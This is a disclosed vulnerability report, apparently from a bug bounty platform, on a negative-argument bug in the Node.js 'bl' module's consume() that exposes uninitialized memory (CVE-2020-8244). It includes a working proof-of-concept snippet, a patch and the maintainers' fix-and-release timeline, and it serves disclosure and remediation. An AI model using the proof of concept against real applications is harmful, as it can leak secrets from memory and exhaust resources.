[bl] Uninitialized memory exposure via negative .consume()

Share:

TIMELINE

chalker submitted a report to Node.js third-party modules. Aug 24th (2 ye

Module

module name: bl
version: 4.0.2
npm page: `https://www.npmjs.com/package/bl`

Module Description

> A Node.js Buffer list collector, reader and streamer thingy.

Module Stats

8 660 595 weekly downloads

Vulnerability

Vulnerability Description

If user input (even typed) ends up in `consume()` argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular `.slice()` calls.

Steps To Reproduce:

Code 343 Bytes Wrap lines Copy Dow

```
const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
  const clone = Buffer.from(secret)
  const bl = new BufferList()
  bl.append(Buffer.from('a'))
  bl.consume(-1024)
  const buf = bl.slice(1)
  if (buf.indexOf(clone) !== -1) {
    console.error(`Match (at ${i})`, buf)
  }
}
```

Patch

First component (more important):

In `BufferList.prototype.copy`, before the last `return dst`:

Code 56 Bytes Wrap lines Copy Dow

```
  if (dst.length !== bufoff) return dst.slice(0, bufoff)
```

Second component:

Check `.consume()` argument to be a non-negative integer.

Supporting Material/References:

- Node.js v14.8.0

Wrap up

- I contacted the maintainer to let them know: Y
- I opened an issue in the related repository: N

Impact

In case if the argument of `consume()` is attacker controlled:

1. Expose uninitialized memory, containing source code, passwords, network traffic, etc.
2. Cause invalid data in slices (low control)
3. Cause DoS by allocating a large buffer this way (with a large negative number before a slice/toString call is performed).

chalker posted a comment. Aug 24th (2 ye

As a rule of thumb, when using `allocUnsafe()`, the number of bytes actually written should be rechecked and the resulting buffer should be shrinked to actually written size before being returned.

mcollina Node.js third-party modules staff posted a comment. Aug 25th (2 ye

@marcinhoppe I have publish rights on bl. I can prepare a patch and release. Do you mind if I claim this report?

marcinhoppe Node.js third-party modules staff posted a comment. Aug 25th (2 ye

This also seems to corrupt internal state:

Code 149 Bytes Wrap lines Copy Dow

```
const bl = new BufferList()
bl.append(Buffer.from('abcd'))
for (let i = 0; i < 100; i++) bl.consume(0.75)
bl.consume(4)
console.log(bl.length) // -75
```

Doesn't seem very significant, but it can be fixed by the same improvements in consume().

chalker posted a comment. Aug 25th (2 ye

Here is a complete patch: https://gist.github.com/ChALkeR/8bcf5cc9faf907ac8e54d67a5bc45296

mcollina Node.js third-party modules staff posted a comment. Aug 26th (2 ye

bl@4.0.3
bl@3.0.1
bl@2.2.1

have been released with the fix.

chalker posted a comment. Aug 27th (2 ye

I can confirm that those contain the fix.

Can we triage/disclose now?

mcollina Node.js third-party modules staff changed the status to **Needs more info**. Aug 27th (2 ye

mcollina Node.js third-party modules staff changed the status to **Triaged**. Aug 27th (2 ye

mcollina Node.js third-party modules staff closed the report and changed the status to **Resolved**. Aug 27th (2 ye

mcollina Node.js third-party modules staff updated CVE reference to CVE-2020-8244. Aug 27th (2 ye

mcollina Node.js third-party modules staff requested to disclose this report. Aug 27th (2 ye

chalker agreed to disclose this report. Aug 27th (2 ye

This report has been disclosed. Aug 27th (2 ye